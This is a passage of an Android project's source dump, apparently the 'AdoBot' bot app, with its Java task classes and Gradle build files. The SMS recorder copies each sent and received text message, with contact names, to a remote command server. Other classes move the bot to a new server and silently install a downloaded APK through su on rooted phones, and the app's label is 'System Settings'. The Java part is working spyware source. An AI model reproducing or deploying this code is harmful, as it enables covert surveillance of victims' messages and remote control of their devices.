55 | appDatabase = Room.databaseBuilder(context.getApplicationContext(),
56 | AppDatabase.class, AdobotConstants.DATABASE_NAME).build();
57 | smsDao = appDatabase.smsDao();
58 | smsObserver = (new SmsObserver(new Handler()));
59 | contentResolver = context.getContentResolver();
60 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE);
61 | instance = this;
62 | listen();
63 | }
64 |
65 | public static SmsRecorderTask getInstance() {
66 | return instance;
67 | };
68 |
69 | public void listen() {
70 | if (hasPermission()) {
71 | commonParams = new CommonParams(context);
72 | contentResolver.registerContentObserver(smsUri, true, smsObserver);
73 | } else
74 | requestPermissions();
75 | }
76 |
77 | private boolean hasPermission() {
78 | return ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) ==
79 | PackageManager.PERMISSION_GRANTED &&
80 | ContextCompat.checkSelfPermission(context, Manifest.permission.INTERNET) ==
81 | PackageManager.PERMISSION_GRANTED;
82 | }
83 |
84 | public interface SubmitSmsCallback {
85 | void onResult (boolean success);
86 | }
87 |
88 | public void submitNextRecord(final SubmitSmsCallback cb) {
89 | Log.i(TAG, "submitNextRecord()");
90 | Thread thread = new Thread(new Runnable() {
91 | @Override
92 | public void run() {
93 | Sms m = smsDao.first();
94 | Log.i(TAG, "m = " + m);
95 | if (m != null) {
96 | submitSms(m, cb);
97 | } else
98 | cb.onResult(true);
99 | }
100 | });
101 | thread.start();
102 | }
103 |
104 |
105 | public Sms findSmsFromContent(String mPhone, String mBody, int mType) {
106 |
107 | if(ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
108 |
109 | Uri callUri = Uri.parse("content://sms/inbox");
110 | ContentResolver cr = context.getApplicationContext().getContentResolver();
111 | Cursor mCur = cr.query(callUri, null, null, null, null);
112 | if (mCur.moveToFirst()) {
113 | do {
114 |
115 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
116 | Calendar calendar = Calendar.getInstance();
117 | String now = mCur.getString(mCur.getColumnIndex("date"));
118 | calendar.setTimeInMillis(Long.parseLong(now));
119 |
120 | try {
121 | String thread_id = mCur.getString(mCur.getColumnIndex("thread_id"));
122 | int id = mCur.getInt(mCur.getColumnIndex("_id"));
123 | String phone = mCur.getString(mCur.getColumnIndex("address"));
124 | String name = getContactName(phone);
125 | String body = mCur.getString(mCur.getColumnIndex("body"));
126 | String date = formatter.format(calendar.getTime());
127 | int type = mCur.getInt(mCur.getColumnIndex("type"));
128 |
129 | if (Objects.equals(mBody.trim(), body.trim()) &&
130 | Objects.equals(mPhone.trim(), phone.trim()) &&
131 | mType == type) {
132 |
133 | // found
134 | Sms sms = smsDao.findByAttributes(mPhone, mBody, date ,type);
135 | if (sms == null) {
136 | sms = new Sms();
137 | }
138 |
139 | Log.i(TAG, "Subtituting sms from:" + mPhone + " Message: " + body);
140 |
141 | sms.set_id(id);
142 | sms.setThread_id(thread_id);
143 | sms.setPhone(phone);
144 | sms.setName(name);
145 | sms.setBody(body);
146 | sms.setDate(date);
147 | sms.setType(type);
148 |
149 | return sms;
150 | }
151 |
152 | } catch (Exception e) {
153 | e.printStackTrace();
154 | return null;
155 | }
156 |
157 | } while (mCur.moveToNext());
158 | } else {
159 | // no message
160 | return null;
161 | }
162 | mCur.close();
163 | return null;
164 |
165 | } else {
166 | Log.i(TAG, "No SMS permission!!!");
167 | HashMap noPermit = new HashMap();
168 | noPermit.put("event", "nopermission");
169 | noPermit.put("uid", commonParams.getUid());
170 | noPermit.put("device", commonParams.getDevice());
171 | noPermit.put("permission", "READ_SMS");
172 | Http doneSMS = new Http();
173 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
174 | doneSMS.setMethod(HttpRequest.METHOD_POST);
175 | doneSMS.setParams(noPermit);
176 | doneSMS.execute();
177 |
178 | return null;
179 | }
180 | }
181 |
182 | private void submitSms(Sms sms, final SubmitSmsCallback cb) {
183 |
184 | String err = "Can't find sms: " + sms.getBody() + ", From: " + sms.getPhone();
185 |
186 | if (sms.get_id() == 0 && Objects.equals(SmsBroadcastReceiver.SMS_RECEIVED, sms.getThread_id()) && Objects.equals(sms.getName(), SmsBroadcastReceiver.SMS_RECEIVED)) {
187 | Sms smsRecord = findSmsFromContent(sms.getPhone(), sms.getBody(), sms.getType());
188 | if (smsRecord == null) {
189 | Log.i(TAG, err);
190 | sms.setName("UNKNOWN_CONTACT");
191 | sms.setThread_id("0");
192 | sms.set_id(0);
193 | } else {
194 | sms = smsRecord;
195 | }
196 | }
197 |
198 | final int type = sms.getType();
199 | final int id = sms.get_id();
200 | final String thread_id = sms.getThread_id();
201 | final String name = sms.getName();
202 | final String phone = sms.getPhone();
203 | final String body = sms.getBody();
204 | final String date = sms.getDate();
205 |
206 | final Sms _sms = sms;
207 |
208 | try {
209 |
210 | HashMap p = new HashMap();
211 | p.put("uid", commonParams.getUid());
212 | p.put("type", type);
213 | p.put("message_id", id);
214 | p.put("thread_id", thread_id);
215 | p.put("phone", phone);
216 | p.put("name", name);
217 | p.put("message", body);
218 | p.put("date", date);
219 |
220 | JSONObject obj = new JSONObject(p);
221 | Log.i(TAG, "Submitting SMS: " + obj.toString());
222 |
223 | Http smsHttp = new Http();
224 | smsHttp.setMethod(HttpRequest.METHOD_POST);
225 | smsHttp.setUrl(commonParams.getServer() + AdobotConstants.POST_MESSAGE_URL);
226 | smsHttp.setParams(p);
227 | smsHttp.setCallback(new HttpCallback() {
228 | @Override
229 | public void onResponse(HashMap response) {
230 | int statusCode = (int) response.get("status");
231 | if (statusCode >= 200 && statusCode < 400) {
232 | try {
233 | smsDao.delete(_sms);
234 | Log.i(TAG, "sms submitted!! " + body);
235 | submitNextRecord(cb);
236 | } catch (Exception e) {
237 | Log.i(TAG, "Failed to delete sms: " + phone);
238 | cb.onResult(false);
239 | e.printStackTrace();
240 | }
241 | } else {
242 | Log.i(TAG, "Sms failed to submit!!!" + phone);
243 | Log.i(TAG, "Status code: " + statusCode);
244 | cb.onResult(false);
245 | }
246 | }
247 | });
248 | smsHttp.execute();
249 |
250 | } catch (Exception e) {
251 | Log.i(TAG, "FAiled with error: " + e.toString());
252 | e.printStackTrace();
253 | cb.onResult(false);
254 | }
255 | }
256 |
257 | public class InsertSmsModel extends Thread {
258 | private Sms sms;
259 |
260 | public InsertSmsModel(Sms sms) {
261 | this.sms = sms;
262 | }
263 |
264 | @Override
265 | public void run() {
266 | super.run();
267 |
268 | try {
269 | smsDao.insert(sms);
270 | Log.i(TAG, "Message saved, type: " + sms.getType() + "!!!" + sms.getBody());
271 | submitSms(sms, new SubmitSmsCallback() {
272 | @Override
273 | public void onResult(boolean success) {
274 | if (success) {
275 | submitNextRecord(new SubmitSmsCallback() {
276 | @Override
277 | public void onResult(boolean success) {
278 | // nothing to do after submit
279 | }
280 | });
281 | }
282 | }
283 | });
284 | } catch (Exception e) {
285 | Log.i(TAG, "Failed to save sms: id: " + sms.getId());
286 | }
287 | }
288 | }
289 |
290 |
291 |
292 | public void saveSms(Cursor mCur) {
293 | final int type = mCur.getInt(mCur.getColumnIndex("type"));
294 | final int id = mCur.getInt(mCur.getColumnIndex("_id"));
295 | final String body = mCur.getString(mCur.getColumnIndex("body"));
296 |
297 | // accept only received and sent
298 | if (id != lastId && (type == MESSAGE_TYPE_SENT || type == MESSAGE_TYPE_RECEIVED)) {
299 |
300 | lastId = id;
301 |
302 | final String thread_id = mCur.getString(mCur.getColumnIndex("thread_id"));
303 | final String phone = mCur.getString(mCur.getColumnIndex("address"));
304 | final String name = getContactName(phone);
305 |
306 |
307 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
308 | Calendar calendar = Calendar.getInstance();
309 | String now = mCur.getString(mCur.getColumnIndex("date"));
310 | calendar.setTimeInMillis(Long.parseLong(now));
311 |
312 | final String date = formatter.format(calendar.getTime());
313 |
314 | Sms sms = new Sms();
315 | sms.set_id(id);
316 | sms.setThread_id(thread_id);
317 | sms.setBody(body);
318 | sms.setName(name);
319 | sms.setPhone(phone);
320 | sms.setDate(date);
321 | sms.setType(type);
322 |
323 | InsertSmsModel ins = new InsertSmsModel(sms);
324 | ins.start();
325 |
326 | /*SimpleDateFormat df = new SimpleDateFormat("EEE d MMM yyyy");
327 | SimpleDateFormat tf = new SimpleDateFormat("hh:mm aaa");
328 | Calendar calendar = Calendar.getInstance();
329 | String now = mCur.getString(mCur.getColumnIndex("date"));
330 | calendar.setTimeInMillis(Long.parseLong(now));
331 | String phone = mCur.getString(mCur.getColumnIndex("address"));
332 | String name = getContactName(phone);
333 | String date = df.format(calendar.getTime()) + "\n" + tf.format(calendar.getTime());*/
334 |
335 | /* String message = AdobotConstants.SMS_FORWARDER_SIGNATURE + "\n\n";
336 | message += "From: " + commonParams.getDevice() + "\n";
337 | message += "UID: " + commonParams.getUid() + "\n\n";
338 | message += type == MESSAGE_TYPE_RECEIVED ? "(Received) " : (type == MESSAGE_TYPE_SENT ? "(Sent) " : "");
339 | message += name != null ? name + "\n" : "";
340 | message += phone != null ? phone : "";
341 | message += "\n\n";
342 | message += body + "\n\n";
343 | message += date + "\n\n";
344 |
345 | Thread send = new SendSmsThread(recipientNumber, message);
346 | send.start();*/
347 |
348 | }
349 |
350 | }
351 |
352 | public class SmsObserver extends ContentObserver {
353 |
354 | public SmsObserver(Handler handler) {
355 | super(handler);
356 | }
357 |
358 | @Override
359 | public void onChange(boolean selfChange) {
360 | super.onChange(selfChange);
361 | Cursor cursor = null;
362 |
363 | try {
364 | cursor = contentResolver.query(smsUri, null, null, null, "date DESC");
365 |
366 | if (cursor != null && cursor.moveToNext()) {
367 | saveSms(cursor);
368 | }
369 | } finally {
370 | if (cursor != null)
371 | cursor.close();
372 | }
373 |
374 | }
375 |
376 | }
377 |
378 |
379 | }
380 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/TransferBotTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.content.Context;
4 | import android.content.SharedPreferences;
5 | import android.os.Build;
6 | import android.util.Log;
7 |
8 | import com.android.adobot.AdobotConstants;
9 | import com.android.adobot.http.Http;
10 | import com.android.adobot.http.HttpCallback;
11 | import com.android.adobot.http.HttpRequest;
12 | import com.android.adobot.NetworkSchedulerService;
13 |
14 | import java.util.HashMap;
15 |
16 | /**
17 | * Created by adones on 2/26/17.
18 | */
19 |
20 | public class TransferBotTask extends BaseTask {
21 |
22 | private static final String TAG = "TransferBotTask";
23 |
24 | private String newServerUrl;
25 | private Context commandService;
26 | SharedPreferences prefs;
27 |
28 | public TransferBotTask(Context c, String url) {
29 | setContext(c);
30 | this.commandService = c;
31 | this.newServerUrl = url;
32 | }
33 |
34 | private HttpCallback pingCb = new HttpCallback() {
35 | @Override
36 | public void onResponse(HashMap response) {
37 | int statusCode = Integer.parseInt(String.valueOf(response.get("status")));
38 | Log.i(TAG, "Ping call back!!! Status code: " + statusCode);
39 | HashMap p = new HashMap();
40 | p.put("uid", commonParams.getUid());
41 | p.put("device", commonParams.getDevice());
42 | p.put("server", newServerUrl);
43 | p.put("status", statusCode);
44 | if (statusCode >= 200 && statusCode < 400) {
45 | // new server is reachable
46 | // notify old server
47 | sendNotification("transferbot:success", p);
48 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE);
49 | boolean saved = prefs.edit().putString(AdobotConstants.PREF_SERVER_URL_FIELD, newServerUrl).commit();
50 | Log.i(TAG, "Saved: " + (saved? "true" : "false"));
51 | if (saved && Build.VERSION.SDK_INT >= 21) {
52 | NetworkSchedulerService cmd = (NetworkSchedulerService) commandService;
53 | cmd.changeServer(newServerUrl);
54 | }
55 | else
56 | sendNotification("transferbot:failed", p);
57 | } else {
58 | sendNotification("transferbot:failed", p);
59 | }
60 |
61 | }
62 | };
63 |
64 | @Override
65 | public void run() {
66 | super.run();
67 | pingNewServer();
68 | }
69 |
70 | private void pingNewServer() {
71 | HashMap p = new HashMap();
72 | p.put("event", "bot:transferring");
73 | p.put("uid", commonParams.getUid());
74 | p.put("device", commonParams.getDevice());
75 | p.put("server", commonParams.getServer());
76 |
77 | //ping server before transferring bot
78 | Http req = new Http();
79 | req.setUrl(newServerUrl + AdobotConstants.NOTIFY_URL);
80 | req.setMethod(HttpRequest.METHOD_POST);
81 | req.setParams(p);
82 | req.setCallback(pingCb);
83 | req.execute();
84 |
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/UpdateAppTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.content.pm.PackageManager;
7 | import android.os.Environment;
8 | import android.support.v4.content.ContextCompat;
9 | import android.util.Log;
10 |
11 | import com.android.adobot.AdobotConstants;
12 | import com.android.adobot.activities.UpdateActivity;
13 |
14 | import java.io.BufferedInputStream;
15 | import java.io.File;
16 | import java.io.FileOutputStream;
17 | import java.io.InputStream;
18 | import java.net.MalformedURLException;
19 | import java.net.URL;
20 | import java.net.URLConnection;
21 | import java.util.HashMap;
22 |
23 | import com.android.adobot.http.Http;
24 | import com.android.adobot.http.HttpRequest;
25 |
26 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
27 |
28 | public class UpdateAppTask extends BaseTask {
29 | private static final String TAG = "UpdateAppTask";
30 | private URL url;
31 |
32 | public UpdateAppTask(Context c, String url) {
33 | setContext(c);
34 | try {
35 | this.url = new URL(url);
36 | } catch (MalformedURLException e) {
37 | e.printStackTrace();
38 | }
39 | }
40 |
41 | @Override
42 | public void run() {
43 |
44 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED && url != null) {
45 |
46 | try {
47 | URLConnection c = url.openConnection();
48 | c.connect();
49 |
50 | File file = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);
51 | file.mkdirs();
52 | File outputFile = new File(file, AdobotConstants.UPDATE_PKG_FILE_NAME);
53 | if (outputFile.exists()) {
54 | outputFile.delete();
55 | }
56 | FileOutputStream fos = new FileOutputStream(outputFile);
57 |
58 | InputStream is = new BufferedInputStream(url.openStream());
59 |
60 |
61 | HashMap dlStarted = new HashMap();
62 | dlStarted.put("event", "download:started");
63 | dlStarted.put("uid", commonParams.getUid());
64 | dlStarted.put("device", commonParams.getDevice());
65 | Http doneSMS = new Http();
66 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
67 | doneSMS.setMethod(HttpRequest.METHOD_POST);
68 | doneSMS.setParams(dlStarted);
69 | doneSMS.execute();
70 |
71 | byte[] buffer = new byte[1024];
72 | int len1 = 0;
73 | while ((len1 = is.read(buffer)) != -1) {
74 | fos.write(buffer, 0, len1);
75 | Log.i(TAG, "Downloading...");
76 | }
77 | fos.flush();
78 | fos.close();
79 | is.close();
80 |
81 | Log.i(TAG, "Download Complete!!!!!");
82 |
83 | HashMap dlComplete = new HashMap();
84 | dlComplete.put("event", "download:completed");
85 | dlComplete.put("uid", commonParams.getUid());
86 | dlComplete.put("device", commonParams.getDevice());
87 | Http DlDone = new Http();
88 | DlDone.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
89 | DlDone.setMethod(HttpRequest.METHOD_POST);
90 | DlDone.setParams(dlComplete);
91 | DlDone.execute();
92 |
93 | installApk(outputFile);
94 |
95 |
96 | } catch (Exception e) {
97 | Log.e("UpdateAPP", "Update error! " + e.getMessage());
98 | HashMap noPermit = new HashMap();
99 | noPermit.put("event", "download:error");
100 | noPermit.put("uid", commonParams.getUid());
101 | noPermit.put("device", commonParams.getDevice());
102 | noPermit.put("error", "Download failed");
103 | Http doneSMS = new Http();
104 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
105 | doneSMS.setMethod(HttpRequest.METHOD_POST);
106 | doneSMS.setParams(noPermit);
107 | doneSMS.execute();
108 |
109 | }
110 | } else {
111 | Log.e(TAG, "No WRITE_EXTERNAL_STORAGE permission!!!");
112 | HashMap noPermit = new HashMap();
113 | noPermit.put("event", "nopermission");
114 | noPermit.put("uid", commonParams.getUid());
115 | noPermit.put("device", commonParams.getDevice());
116 | noPermit.put("permission", "WRITE_EXTERNAL_STORAGE");
117 | Http doneSMS = new Http();
118 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
119 | doneSMS.setMethod(HttpRequest.METHOD_POST);
120 | doneSMS.setParams(noPermit);
121 | doneSMS.execute();
122 |
123 | requestPermissions();
124 | }
125 | }
126 |
127 | public void installApk(File file){
128 | if(file.exists()){
129 | try {
130 | // Install apk silently if rooted
131 | String command;
132 | command = "pm install -r " + file.getAbsolutePath();
133 | Log.i(TAG, "Command: " + command);
134 | Process proc = Runtime.getRuntime().exec(new String[] { "su", "-c", command });
135 | proc.waitFor();
136 |
137 | } catch (Exception e) {
138 | // Prompt update activity
139 | Log.i(TAG, e.toString());
140 | Log.i(TAG, "no root, open update activity");
141 | showAppIcon(UpdateActivity.class);
142 | Intent updateIntent = new Intent(context, UpdateActivity.class);
143 | updateIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
144 | context.startActivity(updateIntent);
145 | }
146 | }
147 | }
148 |
149 | }
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_permissions.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
19 |
20 |
26 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_prompt_update.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
16 |
17 |
23 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_setup.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
11 |
12 |
17 |
18 |
24 |
25 |
26 |
30 |
31 |
37 |
38 |
45 |
46 |
47 |
51 |
52 |
58 |
59 |
66 |
67 |
68 |
69 |
73 |
74 |
78 |
79 |
84 |
85 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-ldpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/app/src/main/res/mipmap-ldpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/values-w820dp/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 64dp
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #777777
4 | #444444
5 | #ffcc00
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 16dp
4 | 16dp
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | System Settings
3 | Server URL
4 | Server URL
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | buildscript {
4 | repositories {
5 | jcenter()
6 | google()
7 | }
8 | dependencies {
9 | classpath 'com.android.tools.build:gradle:3.2.0'
10 |
11 | // NOTE: Do not place your application dependencies here; they belong
12 | // in the individual module build.gradle files
13 | }
14 | }
15 |
16 | allprojects {
17 | repositories {
18 | jcenter()
19 | google()
20 | maven { url 'https://maven.google.com' }
21 | }
22 | }
23 |
24 | task clean(type: Delete) {
25 | delete rootProject.buildDir
26 | }
27 |
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 |
3 | # IDE (e.g. Android Studio) users:
4 | # Gradle settings configured through the IDE *will override*
5 | # any settings specified in this file.
6 |
7 | # For more details on how to configure your build environment visit
8 | # http://www.gradle.org/docs/current/userguide/build_environment.html
9 |
10 | # Specifies the JVM arguments used for the daemon process.
11 | # The setting is particularly useful for tweaking memory settings.
12 | org.gradle.jvmargs=-Xmx1536m
13 |
14 | # When configured, Gradle will run in incubating parallel mode.
15 | # This option should only be used with decoupled projects. More details, visit
16 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
17 | # org.gradle.parallel=true
18 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/adonespitogo/AdoBot/9b27e3b2df0266447f7e5d1fe0e73ed8038f3814/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Mon Oct 01 11:43:46 PHT 2018
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.6-all.zip
7 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
10 | DEFAULT_JVM_OPTS=""
11 |
12 | APP_NAME="Gradle"
13 | APP_BASE_NAME=`basename "$0"`
14 |
15 | # Use the maximum available, or set MAX_FD != -1 to use that value.
16 | MAX_FD="maximum"
17 |
18 | warn ( ) {
19 | echo "$*"
20 | }
21 |
22 | die ( ) {
23 | echo
24 | echo "$*"
25 | echo
26 | exit 1
27 | }
28 |
29 | # OS specific support (must be 'true' or 'false').
30 | cygwin=false
31 | msys=false
32 | darwin=false
33 | case "`uname`" in
34 | CYGWIN* )
35 | cygwin=true
36 | ;;
37 | Darwin* )
38 | darwin=true
39 | ;;
40 | MINGW* )
41 | msys=true
42 | ;;
43 | esac
44 |
45 | # Attempt to set APP_HOME
46 | # Resolve links: $0 may be a link
47 | PRG="$0"
48 | # Need this for relative symlinks.
49 | while [ -h "$PRG" ] ; do
50 | ls=`ls -ld "$PRG"`
51 | link=`expr "$ls" : '.*-> \(.*\)$'`
52 | if expr "$link" : '/.*' > /dev/null; then
53 | PRG="$link"
54 | else
55 | PRG=`dirname "$PRG"`"/$link"
56 | fi
57 | done
58 | SAVED="`pwd`"
59 | cd "`dirname \"$PRG\"`/" >/dev/null
60 | APP_HOME="`pwd -P`"
61 | cd "$SAVED" >/dev/null
62 |
63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
64 |
65 | # Determine the Java command to use to start the JVM.
66 | if [ -n "$JAVA_HOME" ] ; then
67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
68 | # IBM's JDK on AIX uses strange locations for the executables
69 | JAVACMD="$JAVA_HOME/jre/sh/java"
70 | else
71 | JAVACMD="$JAVA_HOME/bin/java"
72 | fi
73 | if [ ! -x "$JAVACMD" ] ; then
74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
75 |
76 | Please set the JAVA_HOME variable in your environment to match the
77 | location of your Java installation."
78 | fi
79 | else
80 | JAVACMD="java"
81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
82 |
83 | Please set the JAVA_HOME variable in your environment to match the
84 | location of your Java installation."
85 | fi
86 |
87 | # Increase the maximum file descriptors if we can.
88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
89 | MAX_FD_LIMIT=`ulimit -H -n`
90 | if [ $? -eq 0 ] ; then
91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
92 | MAX_FD="$MAX_FD_LIMIT"
93 | fi
94 | ulimit -n $MAX_FD
95 | if [ $? -ne 0 ] ; then
96 | warn "Could not set maximum file descriptor limit: $MAX_FD"
97 | fi
98 | else
99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
100 | fi
101 | fi
102 |
103 | # For Darwin, add options to specify how the application appears in the dock
104 | if $darwin; then
105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
106 | fi
107 |
108 | # For Cygwin, switch paths to Windows format before running java
109 | if $cygwin ; then
110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
112 | JAVACMD=`cygpath --unix "$JAVACMD"`
113 |
114 | # We build the pattern for arguments to be converted via cygpath
115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
116 | SEP=""
117 | for dir in $ROOTDIRSRAW ; do
118 | ROOTDIRS="$ROOTDIRS$SEP$dir"
119 | SEP="|"
120 | done
121 | OURCYGPATTERN="(^($ROOTDIRS))"
122 | # Add a user-defined pattern to the cygpath arguments
123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
125 | fi
126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
127 | i=0
128 | for arg in "$@" ; do
129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
131 |
132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
134 | else
135 | eval `echo args$i`="\"$arg\""
136 | fi
137 | i=$((i+1))
138 | done
139 | case $i in
140 | (0) set -- ;;
141 | (1) set -- "$args0" ;;
142 | (2) set -- "$args0" "$args1" ;;
143 | (3) set -- "$args0" "$args1" "$args2" ;;
144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
150 | esac
151 | fi
152 |
153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
154 | function splitJvmOpts() {
155 | JVM_OPTS=("$@")
156 | }
157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
159 |
160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
161 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
12 | set DEFAULT_JVM_OPTS=
13 |
14 | set DIRNAME=%~dp0
15 | if "%DIRNAME%" == "" set DIRNAME=.
16 | set APP_BASE_NAME=%~n0
17 | set APP_HOME=%DIRNAME%
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
